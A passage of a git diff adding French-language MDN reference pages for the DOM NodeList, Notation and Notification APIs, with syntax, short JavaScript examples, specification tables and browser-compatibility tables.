+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>entries()</code>, <code>keys()</code>, <code>values()</code>, <code>forEach()</code></td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>16 (maybe prior)</td>
+   <td>{{CompatGeckoDesktop(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>10 (maybe prior)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>entries()</code>, <code>keys()</code>, <code>values()</code>, <code>forEach()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>16 (maybe prior)</td>
+   <td>{{CompatGeckoMobile(50)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10 (maybe prior)</td>
+   <td>{{CompatChrome(51)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/fr/web/api/nodelist/item/index.html b/files/fr/web/api/nodelist/item/index.html
new file mode 100644
index 0000000000..e4d65fc86d
--- /dev/null
+++ b/files/fr/web/api/nodelist/item/index.html
@@ -0,0 +1,50 @@
+---
+title: NodeList.item()
+slug: Web/API/NodeList/item
+tags:
+  - API
+  - DOM
+  - Liste
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/NodeList/item
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p class="summary">Renvoie un noeud depuis une <a href="/en-US/docs/Web/API/NodeList"><code>NodeList</code></a> par l'index. Cette méthode ne lance pas d'exceptions tant que vous fournissez des arguments. Une valeur <code>null</code> est renvoyée si l'index est hors des limites et une <code>TypeError</code> est lancée si aucun argument n'est fourni.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>nodeItem</em> = <em>nodeList</em>.item(<em>index</em>)
+</pre>
+
+<ul>
+ <li><code>nodeList</code> est une <code>NodeList</code>. Elle est généralement obtenue à partir d'une autre propriété ou méthode DOM, telle que <a href="/en-US/docs/Web/API/Node/childNodes" title="childNodes">childNodes</a>.</li>
+ <li><code>index</code> est l'index du noeud à chercher. L'index commence à zéro.</li>
+ <li><code>nodeItem</code> est le numéro d'<code>index</code> du noeud dans la <code>nodeList</code> retourné par la méthode <code>item</code>.</li>
+</ul>
+
+<h2 id="Syntaxe_alternative">Syntaxe alternative</h2>
+
+<p>JavaScript propose également une syntaxe semblable à un tableau pour obtenir un élément d'une liste de nœuds par index :</p>
+
+<pre class="eval"><em>nodeItem</em> = <em>nodeList</em>[<em>index</em>]
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var tables = document.getElementsByTagName("table");
+var firstTable = tables.item(1); // ou simplement tables[1] - renvoie le <strong>second</strong> tableau dans DOM
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p><a class="external" href="https://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-item">DOM Level 1 Core: NodeList.item()</a></p>
+
+<p><a class="external" href="https://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-844377136">DOM Level 2 Core: NodeList.item()</a></p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.NodeList.item")}}</p>
diff --git a/files/fr/web/api/nodelist/keys/index.html b/files/fr/web/api/nodelist/keys/index.html
new file mode 100644
index 0000000000..6f4f693c1a
--- /dev/null
+++ b/files/fr/web/api/nodelist/keys/index.html
@@ -0,0 +1,80 @@
+---
+title: NodeList.keys()
+slug: Web/API/NodeList/keys
+tags:
+  - API
+  - DOM
+  - Liste
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/NodeList/keys
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <code><strong>NodeList.keys()</strong></code> renvoie un {{jsxref("Les_protocoles_iteration",'itérateur')}} permettant de parcourir toutes les clés contenues dans cet objet. Les clés sont des <code>unsigned integer</code> (<em>entier non signé</em>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">nodeList.keys();</pre>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Renvoie un {{jsxref("Les_protocoles_iteration","itérateur")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js;highlight:[13]">var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Utilisation de for..of
+for(var key of list.keys()) {
+   console.log(key);
+}
+</pre>
+
+<p>Le résultat est :</p>
+
+<pre>0
+1
+2
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-nodelist','keys() (as iterable)')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.NodeList.keys")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/fr/web/api/nodelist/length/index.html b/files/fr/web/api/nodelist/length/index.html
new file mode 100644
index 0000000000..b68db9816b
--- /dev/null
+++ b/files/fr/web/api/nodelist/length/index.html
@@ -0,0 +1,54 @@
+---
+title: NodeList.length
+slug: Web/API/NodeList/length
+tags:
+  - API
+  - DOM
+  - Liste
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/NodeList/length
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p><code>length</code> renvoie le nombre d'éléments dans une <code>NodeList</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="brush: js"><em>numItems</em> =<em>nodeList</em>.length
+</pre>
+
+<ul>
+ <li><code>numItems</code> est un entier (<em>integer</em>), valeur représentant le nombre d'éléments dans une <code>NodeList</code>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">// tous les paragraphes dans le document
+var items = document.getElementsByTagName("p");
+// pour chaque élément de la liste,
+// ajouter l'élément entier en tant que chaîne de HTML
+var gross = "";
+for (var i = 0; i &lt; items.length; i++) {
+  gross += items[i].innerHTML;
+}
+// gross est maintenant tout le HTML pour les paragraphes
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Malgré l'emplacement de cette page dans la référence, <code>length</code> n'est pas une propriété d'<a href="en/DOM/element">Element</a>, mais plutôt d'une <code>NodeList</code>. Les objets NodeList sont retournés à partir des méthodes DOM comme <a href="en/DOM/document.getElementsByTagName">document.getElementsByTagName</a>.</p>
+
+<p><code>length</code> est une propriété très commune dans la programmation de DOM. Il est très courant de tester la longueur d'une liste (pour voir si elle existe) et de l'utiliser comme itérateur dans une boucle for, comme dans l'exemple ci-dessus.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-203510337">length</a></p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.NodeList.length")}}</p>
diff --git a/files/fr/web/api/nodelist/values/index.html b/files/fr/web/api/nodelist/values/index.html
new file mode 100644
index 0000000000..4abe62ad34
--- /dev/null
+++ b/files/fr/web/api/nodelist/values/index.html
@@ -0,0 +1,81 @@
+---
+title: NodeList.values()
+slug: Web/API/NodeList/values
+tags:
+  - API
+  - DOM
+  - Itérateur
+  - Liste
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/NodeList/values
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <code><strong>NodeList.values()</strong></code> renvoie un {{jsxref("Les_protocoles_iteration",'itérateur')}} permettant de parcourir toutes les valeurs contenues dans cet objet. Les valeurs sont des objets {{domxref("Node")}} (<em>noeud</em>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">nodeList.values();</pre>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Renvoie un {{jsxref("Les_protocoles_iteration","itérateur")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js;highlight:[13]">var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Utilisation de for..of
+for(var value of list.values()) {
+  console.log(value);
+}
+</pre>
+
+<p>Le résultat est :</p>
+
+<pre>&lt;p&gt;
+#text "hey"
+&lt;span&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-nodelist','values() (as iterable&lt;Node&gt;)')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.NodeList.values")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/fr/web/api/notation/index.html b/files/fr/web/api/notation/index.html
new file mode 100644
index 0000000000..450e57746c
--- /dev/null
+++ b/files/fr/web/api/notation/index.html
@@ -0,0 +1,107 @@
+---
+title: Notation
+slug: Web/API/Notation
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Noeuds
+  - Notation
+  - Reference
+translation_of: Web/API/Notation
+---
+<div>{{APIRef("DOM")}}{{obsolete_header}}</div>
+
+<p>Représente une notation DTD (définition de type de document) en lecture seule. Peut déclarer le format d'une entité non analysée ou déclarer formellement les cibles d'instruction de traitement du document. Hérite des méthodes et des propriétés de <a class="internal" href="/En/DOM/Node" title="En/DOM/Node"><code>Node</code></a>. Son <code><a class="internal" href="/En/DOM/Node/NodeName" title="En/DOM/Node/NodeName">nodeName</a></code> est le nom de la notation. N'a pas de parent.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("Notation.publicId")}} {{ReadOnlyInline}}</dt>
+ <dd>est une  {{domxref("DOMString")}} (<em>chaîne de caractères</em>).</dd>
+ <dt>{{domxref("Notation.systemId")}} {{ReadOnlyInline}}</dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>).</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-5431D1B9", "Notation")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Pas de changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-5431D1B9", "Notation")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Pas de changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-5431D1B9', 'Notation')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/notification/actions/index.html b/files/fr/web/api/notification/actions/index.html
new file mode 100644
index 0000000000..2f4177861b
--- /dev/null
+++ b/files/fr/web/api/notification/actions/index.html
@@ -0,0 +1,58 @@
+---
+title: Notification.actions
+slug: Web/API/notification/actions
+tags:
+  - API
+  - API Notifications
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+  - actions
+translation_of: Web/API/Notification/actions
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">La propriété <strong><code>actions</code></strong> en lecture seule de l'interface {{domxref ("Notification")}} renvoie la liste des {{domxref ("NotificationAction")}} objets définis à l'aide de l'option <code>actions</code> lors de la création de la notification à l'aide du constructeur {{domxref("Notification.Notification","Notification()")}}.</span> Il s'agit d'une liste des actions définies par l'application que l'utilisateur peut choisir de prendre directement depuis le contexte d'une notification.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Le périphérique et l'agent utilisateur peuvent ne pouvoir afficher qu'un nombre limité d'actions (en raison, par exemple, d'un espace d'écran limité). Cette limite peut être déduite de {{DOMxRef ("Notification.maxActions")}}.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>Notification</var>.actions</pre>
+
+<h3 id="Value" name="Value">Valeur</h3>
+
+<p>Un tableau en lecture seule d'objets {{domxref ("NotificationAction")}}, chacun décrivant une action unique que l'utilisateur peut choisir dans une notification.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-actions','actions')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.actions")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+ <li>{{DOMxRef("Notification.maxActions")}}</li>
+</ul>
diff --git a/files/fr/web/api/notification/badge/index.html b/files/fr/web/api/notification/badge/index.html
new file mode 100644
index 0000000000..f179a2a7bf
--- /dev/null
+++ b/files/fr/web/api/notification/badge/index.html
@@ -0,0 +1,46 @@
+---
+title: Notification.badge
+slug: Web/API/notification/badge
+tags:
+  - API Notification
+  - API badge
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+translation_of: Web/API/Notification/badge
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">La propriété <strong><code>badge</code></strong> de l'interface {{domxref ("Notification")}} renvoie l'URL de l'image utilisée pour représenter la notification lorsqu'il n'y a pas assez d'espace pour afficher la notification elle-même.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">const url = Notification.badge</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une {{domxref('USVString')}} contenant une URL.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-badge','badge')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td><span class="tlid-translation translation" lang="fr"><span title="">Définition initiale</span></span>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.badge")}}</p>
diff --git a/files/fr/web/api/notification/body/index.html b/files/fr/web/api/notification/body/index.html
new file mode 100644
index 0000000000..430c868dd3
--- /dev/null
+++ b/files/fr/web/api/notification/body/index.html
@@ -0,0 +1,54 @@
+---
+title: Notification.body
+slug: Web/API/notification/body
+tags:
+  - API
+  - API Notifications
+  - Corps
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+translation_of: Web/API/Notification/body
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">La propriété <span class="tlid-translation translation" lang="fr">en lecture seule</span> <strong><code>body</code></strong> de l'interface {{domxref ("Notification")}} est la chaîne de caractères qui correspond au corps de la notification, comme définis à l'aide de l'option <code>body</code> lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification", "Notification()" )}}.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>Notification</var>.body
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une {{domxref("DOMString")}} contenant le corps de la notification.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-body','body')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.body")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/close/index.html b/files/fr/web/api/notification/close/index.html
new file mode 100644
index 0000000000..95c7066399
--- /dev/null
+++ b/files/fr/web/api/notification/close/index.html
@@ -0,0 +1,82 @@
+---
+title: Notification.close()
+slug: Web/API/notification/close
+tags:
+  - API
+  - API Notifications
+  - Méthode
+  - Notification
+  - Notifications
+  - Reference
+  - close
+  - fermeture
+translation_of: Web/API/Notification/close
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p>La méthode <code>close()</code> de l'interface {{domxref("Notification")}} est <span class="tlid-translation translation" lang="fr">utilisée </span>pour fermer / supprimer une notification précédemment affichée.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Cette API ne doit pas être utilisée uniquement pour supprimer la notification de l'écran après un délai fixe, car cette méthode supprimera également la notification de toute barre de notification, empêchant ainsi les utilisateurs d'interagir avec elle après son affichage initial. Une utilisation valable de cette API serait de supprimer une notification qui n'est plus pertinente (par exemple, l'utilisateur a déjà lu la notification sur la page Web dans le cas d'une application de messagerie ou la chanson suivante est déjà en cours de lecture dans une application musicale).</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Notification.close()</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Returns">Returns</h3>
+
+<p>Void.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'extrait de code suivant, nous avons une simple fonction qui, lorsqu'elle est appelée, crée un objet <code>options</code>, puis de celui-ci une nouvelle notification. À la fin de la fonction, elle appelle également <code>close()</code> dans une fonction {{domxref ("EventTarget.addEventListener", "addEventListener ()")}} pour supprimer la notification lorsque le contenu pertinent a été lu sur la page Web.</p>
+
+<pre class="brush:js notranslate">function spawnNotification(theBody, theIcon, theTitle) {
+  const options = {
+    body: theBody,
+    icon: theIcon
+  }
+
+  const n = new Notification(theTitle, options)
+  document.addEventListener('visibilitychange', () =&gt; {
+    if (document.visibilityState === 'visible') {
+      // The tab has become visible so clear the now-stale Notification.
+      n.close()
+    }
+  })
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.close")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/data/index.html b/files/fr/web/api/notification/data/index.html
new file mode 100644
index 0000000000..102d0dd905
--- /dev/null
+++ b/files/fr/web/api/notification/data/index.html
@@ -0,0 +1,56 @@
+---
+title: Notification.data
+slug: Web/API/notification/data
+tags:
+  - API
+  - API Notifications
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+  - données
+translation_of: Web/API/Notification/data
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">La propriété en lecture seule <strong><code>data</code></strong> de l'interface {{domxref ("Notification")}} renvoie un clone structuré des données de la notification, comme définis à l'aide de l'option <code>data</code>  lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification", "Notification() ")}}.</span></p>
+
+<p>Les données de la notification peuvent être des données arbitraires, sans restriction de format que vous souhaitez associer à la notification.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>Notification</var>.data
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un clone structuré.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-data','data')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.data")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/dir/index.html b/files/fr/web/api/notification/dir/index.html
new file mode 100644
index 0000000000..d3f0131d1a
--- /dev/null
+++ b/files/fr/web/api/notification/dir/index.html
@@ -0,0 +1,64 @@
+---
+title: Notification.dir
+slug: Web/API/notification/dir
+tags:
+  - API
+  - API Notifications
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+  - direction
+translation_of: Web/API/Notification/dir
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">La propriété en lecture seule <strong><code>dir</code></strong> de l'interface {{domxref ("Notification")}} indique le sens du texte de la notification, définis à l'aide de l'option <code>dir</code> lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification", "Notification()" )}}.</span></p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval notranslate"><var>Notification</var>.dir
+</pre>
+
+<h3 id="Value" name="Value">Valeur</h3>
+
+<p>Une {{domxref ("DOMString")}} spécifiant la direction du texte. Les valeurs possibles sont:</p>
+
+<ul>
+ <li><code>auto</code>: adopte le comportement de réglage de la langue du navigateur (par défaut).</li>
+ <li><code>ltr</code>: de gauche à droite.</li>
+ <li><code>rtl</code> : de droite à gauche.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: La plupart des navigateurs semblent ignorer les paramètres explicites de ltr et rtl, et utilisent simplement le paramètre à l'échelle du navigateur.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-dir','dir')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.dir")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/icon/index.html b/files/fr/web/api/notification/icon/index.html
new file mode 100644
index 0000000000..a91a139a2e
--- /dev/null
+++ b/files/fr/web/api/notification/icon/index.html
@@ -0,0 +1,54 @@
+---
+title: Notification.icon
+slug: Web/API/notification/icon
+tags:
+  - API
+  - API Notifications
+  - Icône
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+translation_of: Web/API/Notification/icon
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
